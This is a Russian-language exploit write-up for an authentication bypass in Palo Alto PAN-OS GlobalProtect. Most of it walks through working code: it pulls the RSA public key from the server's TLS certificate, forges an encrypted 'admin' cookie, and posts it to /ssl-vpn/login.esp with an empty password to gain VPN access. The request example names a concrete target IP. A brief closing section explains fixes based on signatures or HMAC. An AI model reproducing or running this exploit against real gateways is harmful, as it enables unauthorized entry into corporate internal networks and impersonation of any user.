Palo Alto Networks PAN-OS уязвим к обходу аутентификации, вызванному ошибками в портале и шлюзе GlobalProtect, что позволяет злоумышленникам устанавливать несанкционированные VPN-подключения; эксплуатация требует сетевого доступа к порталу или шлюзу.
Этот эксплойт обеспечивает неаутентифицированный доступ к VPN к шлюзу/порталу Palo Alto GlobalProtect, подделывая cookie аутентификации с использованием только публично доступного TLS-сертификата сервера.
GlobalProtect использует предварительную cookie аутентификации (portal-userauthcookie) для аутентификации клиентов. Вот фатальный недостаток:
Normal Flow:
1. Client authenticates (username + password)
2. Server generates a cookie → encrypts it with server's RSA PUBLIC key
3. Client stores the encrypted cookie
4. On reconnect, client sends the cookie → server decrypts with PRIVATE key → trusts it
The Bug:
The server ONLY checks if the cookie decrypts successfully with its private key.
It does NOT verify WHO encrypted it or if the plaintext content is legitimate.
Поскольку открытый ключ RSA встроен в TLS-сертификат сервера (публично доступный любому, кто подключается), любой злоумышленник может:
Это классический недостаток сломанной аутентификации — использование шифрования там, где требовалась цифровая подпись или HMAC.
flowchart TD
A["Step 1: Raw TCP Connect"] --> B["Step 2: Send Crafted TLS ClientHello"]
B --> C["Step 3: Parse ServerHello → Extract DER Certificates"]
C --> D["Step 4: Walk ASN.1 to Extract RSA Public Key"]
D --> E["Step 5: Forge PKCS#1 v1.5 Encrypted Cookie"]
E --> F["Step 6: POST to /ssl-vpn/login.esp"]
F --> G{"Server Decrypts Cookie"}
G -->|"Valid plaintext"| H[" Auth Bypass — VPN Access Granted"]
G -->|"Invalid"| I[" Rejected"]Почему именно raw? Нам нужен сертификат сервера в формате DER (сырые двоичные данные). Модуль Python
sslвыполняет полное TLS-рукопожатие внутри себя и не отдаёт сырые байты сертификата таким же образом. Выполняя raw TCP-подключение и отправляя созданное вручную ClientHello, мы можем перехватить ответ сервера на уровне байтов.
TLS-запись выглядит так:
┌──────────────────────────────────────────────────┐
│ TLS Record Header (5 bytes) │
│ ┌──────┬──────────┬────────────┐ │
│ │ Type │ Version │ Length │ │
│ │ 0x16 │ 0x03 01 │ 2 bytes │ │
│ │(Hshk)│(TLS 1.0) │ │ │
│ └──────┴──────────┴────────────┘ │
│ │
│ Handshake Message │
│ ┌──────┬────────────┬─────────────────────────┐ │
│ │ Type │ Length │ Body │ │
│ │ 0x01 │ 3 bytes │ (ClientHello) │ │
│ │(CHlo)│ │ │ │
│ └──────┴────────────┴─────────────────────────┘ │
└──────────────────────────────────────────────────┘
Тело ClientHello содержит:
| Поле | Значение | Назначение |
|---|---|---|
| Version | 0x03 0x03 (TLS 1.2) | Сообщаем серверу, что мы используем TLS 1.2 |
| Random | 4-байтовая метка времени + 28 случайных байт | Nonce для рукопожатия |
| Session ID | 0x00 (пусто) | Без возобновления сессии |
| Cipher Suites | 9 наборов, включая TLS_RSA_WITH_AES_128_CBC_SHA | Ключевой момент: мы включаем RSA-шифры, чтобы заставить сервер использовать свой RSA-сертификат |
| Compression | 0x00 (нет) | Обязательно |
Включенные расширения:
| Расширение | ID | Назначение |
|---|---|---|
| SNI (Server Name Indication) | 0x0000 | Сообщаем серверу, к какому имени хоста мы подключаемся |
| Signature Algorithms | 0x000D | Объявляем, какие алгоритмы подписи мы поддерживаем |
| Supported Groups | 0x000A | Эллиптические кривые, которые мы поддерживаем (P-256, P-384, P-521) |
| EC Point Formats | 0x000B | Несжатые точки эллиптических кривых |
[!NOTE] Наборы шифров намеренно включают шифры RSA-обмена ключами (
0x002F=TLS_RSA_WITH_AES_128_CBC_SHA). Это подталкивает сервер отвечать RSA-сертификатом, а не ECDSA, — что критически важно, поскольку эксплойт работает только с RSA.
После отправки ClientHello сервер отправляет обратно несколько TLS-записей:
Server Response:
┌─────────────────┐
│ ServerHello │ (handshake type 2)
├─────────────────┤
│ Certificate │ (handshake type 11) ← WE WANT THIS
├─────────────────┤
│ ServerKeyExchange│ (handshake type 12, optional)
├─────────────────┤
│ ServerHelloDone │ (handshake type 14) ← STOP SIGNAL
└─────────────────┘
Фаза 1 — удаление заголовков TLS-записей:
Каждая TLS-запись имеет 5-байтовый заголовок: [type(1)] [version(2)] [length(2)]. Код сканирует все записи, и для любой с type == 22 (Handshake) объединяет их полезные данные:
while i + 5 <= len(data):
t = data[i] # content type
rl = (data[i + 3] << 8) | data[i + 4] # record length
if t == 22: # Handshake
hs.extend(data[i + 5: i + 5 + rl]) # grab payload
i += 5 + rl # next record
Фаза 2 — поиск сообщения Certificate (type 11):
Внутри потока handshake каждое сообщение имеет 4-байтовый заголовок: [type(1)] [length(3)]. Мы ищем type == 11:
while j + 4 <= len(hs):
ht = hs[j] # handshake type
hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3] # 3-byte length
if ht == 11: # Certificate!
# Parse the certificate list inside
Фаза 3 — извлечение отдельных DER-сертификатов:
Сообщение Certificate содержит список сертификатов, каждый из которых предваряется 3-байтовым полем длины:
Certificate Message Body:
┌───────────────────────────────────┐
│ Total Certs Length (3 bytes) │
├───────────────────────────────────┤
│ Cert 1 Length (3 bytes) │
│ Cert 1 DER data (variable) │
├───────────────────────────────────┤
│ Cert 2 Length (3 bytes) │
│ Cert 2 DER data (variable) │
├───────────────────────────────────┤
│ ... │
└───────────────────────────────────┘
В нашем тестовом запуске мы получили 3 сертификата (конечный сертификат, промежуточный CA, корневой CA).
Эта функция ищет ServerHelloDone (тип handshake 14), который сообщает нам, что сервер закончил отправку, и мы можем прекратить чтение.
X.509-сертификаты закодированы в DER (Distinguished Encoding Rules), который представляет собой двоичный формат на основе ASN.1 (Abstract Syntax Notation One).
Каждый элемент в DER выглядит так:
┌─────┬────────┬───────────────────┐
│ Tag │ Length │ Value (payload) │
│ 1B │ 1-5B │ variable │
└─────┴────────┴───────────────────┘
Кодирование длины:
0x80: длина равна самому байту (короткая форма)0x80: младшие 7 бит = количество последующих байт, которые кодируют длину (длинная форма)# Example: length byte = 0x82 → 2 more bytes follow
# Next 2 bytes: 0x06 0x4F → length = 0x064F = 1615 bytes
def rd_tl(d, p):
tag = d[p]; p += 1
length = d[p]; p += 1
if length & 0x80: # long form?
nb = length & 0x7F # how many bytes follow
length = 0
for _ in range(nb):
length = (length << 8) | d[p]
p += 1
return {"tag": tag, "len": length, "pos": p} # pos = start of value
Certificate ::= SEQUENCE { ← tag 0x30
tbsCertificate SEQUENCE { ← tag 0x30
version [0] EXPLICIT ← tag 0xA0 (optional)
serialNumber INTEGER ← tag 0x02
signature SEQUENCE (AlgorithmID) ← tag 0x30
issuer SEQUENCE ← tag 0x30
validity SEQUENCE ← tag 0x30
subject SEQUENCE ← tag 0x30
subjectPublicKeyInfo SEQUENCE { ← tag 0x30 ★ WE WANT THIS ★
algorithm SEQUENCE { ← tag 0x30
algorithm OID ← tag 0x06
parameters (optional)
}
subjectPublicKey BIT STRING { ← tag 0x03
RSAPublicKey SEQUENCE { ← tag 0x30
modulus INTEGER ← tag 0x02 ★ n ★
exponent INTEGER ← tag 0x02 ★ e ★
}
}
}
...
}
...
}
Функция обходит дерево DER, читая tag+length и пропуская поля, которые нам не нужны:
# Enter outer SEQUENCE (Certificate)
r = rd_tl(der, 0) # → SEQUENCE
# Enter tbsCertificate SEQUENCE
r = rd_tl(der, p) # → SEQUENCE
# Check for optional version tag
r = rd_tl(der, p)
if r["tag"] == 0xA0: # version field present → skip it
p = r["pos"] + r["len"]
r = rd_tl(der, p)
# Skip: serial → sigAlg → issuer → validity → subject
# (just read each TLV and jump past it)
# NOW we're at subjectPublicKeyInfo
# Read the AlgorithmIdentifier → check if OID = RSA
oid = der[r["pos"]: r["pos"] + r["len"]]
rsa_oid = [0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01]
# ↑ This is 1.2.840.113549.1.1.1 = rsaEncryption
if oid != rsa_oid:
return None # Not RSA (probably ECDSA)
# Read the BIT STRING → skip 1 byte (unused bits indicator)
# Read the inner SEQUENCE → extract modulus (n) and exponent (e)
Важная деталь — ведущий нулевой байт в модуле:
if der[ms] == 0 and ml > 1:
ms += 1 # strip leading 0x00
ml -= 1
DER кодирует целые числа как знаковые. Если старший бит модуля равен 1, спереди добавляется байт 0x00, чтобы сохранить положительное значение. Мы удаляем его, потому что нам нужно сырое беззнаковое значение.
Для нашей цели: модуль = 2048 бит (256 байт), экспонента = 65537 (0x10001)
Это сердце эксплойта.
Формат открытого текста cookie:
admin;;Windows;;1748928001;0.0.0.0
│ │ │ │
│ │ │ └── Client IP
│ │ └── Unix timestamp
│ └── OS identifier
└── Username (we choose "admin")
Перед шифрованием RSA открытый текст должен быть дополнен до размера ключа (256 байт для 2048-битного RSA):
┌──────┬──────┬──────────────────────────┬──────┬─────────────────────┐
│ 0x00 │ 0x02 │ Random non-zero padding │ 0x00 │ Plaintext message │
│ │ │ (≥ 8 bytes) │ │ │
└──────┴──────┴──────────────────────────┴──────┴─────────────────────┘
1B 1B padLen bytes 1B message bytes
Total = 256 bytes (= key size)
def forge(n, e, kl, username):
ts = str(int(time.time()))
pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0")
pad_len = kl - len(pt) - 3 # 3 = 0x00 + 0x02 + 0x00 separator
if pad_len < 8: # PKCS#1 requires ≥ 8 pad bytes
return ""
em = bytearray([0x00, 0x02]) # Type 2 padding header
for _ in range(pad_len):
em.append(random.randint(1, 255)) # non-zero random bytes!
em.append(0x00) # separator
cat(em, pt) # append plaintext
# RSA encryption: ciphertext = em^e mod n
return b64_encode(bi2bytes(modpow(bytes2bi(em), e, n), kl))
Математика RSA:
ciphertext = plaintext^e mod n
Where:
plaintext = the padded message as a big integer (256 bytes → ~2048 bits)
e = 65537 (public exponent)
n = the 2048-bit modulus from the certificate
[!IMPORTANT] Это работает, потому что шифрование RSA использует открытый ключ (n, e), который любой может получить из TLS-сертификата. Сервер расшифрует его своим закрытым ключом (n, d) и получит открытый текст —
admin;;Windows;;timestamp;0.0.0.0.Затем сервер слепо доверяет этому открытому тексту — он никогда не проверяет, что cookie была легитимно выдана им самим.
Поддельная cookie отправляется как стандартный HTTPS POST на конечную точку входа GlobalProtect:
POST /ssl-vpn/login.esp HTTP/1.1
Host: 1.255.199.2
Content-Type: application/x-www-form-urlencoded
User-Agent: GlobalProtect/6.0.0
Content-Length: ...
Connection: close
prot=https
&server=1.255.199.2
&user=admin
&passwd= ← empty! no password needed
&context=gateway ← or "portal"
&clientos=Windows
&clientgpversion=6.0.0
&portal-userauthcookie=<BASE64_FORGED_COOKIE>
&portal-prelogonuserauthcookie=
[!NOTE] Поле
passwdпустое. Сервер вообще не проверяет пароль — он полностью полагается наportal-userauthcookieдля аутентификации.
Эксплойт проверяет две конечные точки:
context=gateway): прямой доступ к VPN-туннелюcontext=portal): доступ к конфигурации порталаdef is_gateway_success(resp, user):
# Check for HTTP 200
# Check for <status>Success</status> in XML body
# OR <argument> tag containing the username
sequenceDiagram
participant A as Attacker
participant GP as GlobalProtect Server
A->>GP: TCP Connect (port 443)
A->>GP: Raw TLS ClientHello (hand-crafted)
GP->>A: ServerHello + Certificate (contains RSA public key)
GP->>A: ServerHelloDone
Note over A: Extracts RSA public key (n, e) from cert
Note over A: Forges cookie: RSA_encrypt("admin;;Windows;;ts;0.0.0.0", pubkey)
A->>GP: POST /ssl-vpn/login.esp (over TLS)
Note over GP: Receives portal-userauthcookie
Note over GP: Decrypts with RSA private key
Note over GP: Gets "admin;;Windows;;ts;0.0.0.0"
Note over GP: ⚠️ Trusts it blindly — no signature check!
GP->>A: HTTP 200 OK + <status>Success</status>
Note over A: 🎉 Full VPN access as "admin"| Аспект | Воздействие |
|---|---|
| Не нужны учетные данные | Открытый ключ буквально публичный — любой подключающийся получает его |
| Без перебора | Один запрос на попытку, всегда успешен на уязвимых серверах |
| До аутентификации | Эксплуатируется до любого входа — не требуется существующая сессия |
| Выдача себя за пользователя | Злоумышленник выбирает любое имя пользователя (admin, CEO и т.д.) |
| Полный доступ к VPN | После аутентификации злоумышленник оказывается во внутренней сети |
| Нет логирования неверных паролей | Так как аутентификация идёт через cookie, оповещения о неверном пароле не срабатывают |
Фундаментальная проблема — использование шифрования для аутентификации. Правильные подходы:
Цифровые подписи: сервер должен подписывать cookie своим закрытым ключом, а не расшифровывать зашифрованную. Затем проверять подпись при повторной аутентификации.
HMAC: использовать секретный ключ на стороне сервера для HMAC-хэширования полезных данных cookie. Только сервер знает секрет, поэтому cookie невозможно подделать.
Token Binding (привязка токена): привязать cookie к исходной сессии аутентификации, чтобы её нельзя было воспроизвести из другого контекста.
Broken: cookie = RSA_encrypt(userdata, public_key) ← anyone can do this!
Fixed: cookie = HMAC(server_secret, userdata) ← only server can do this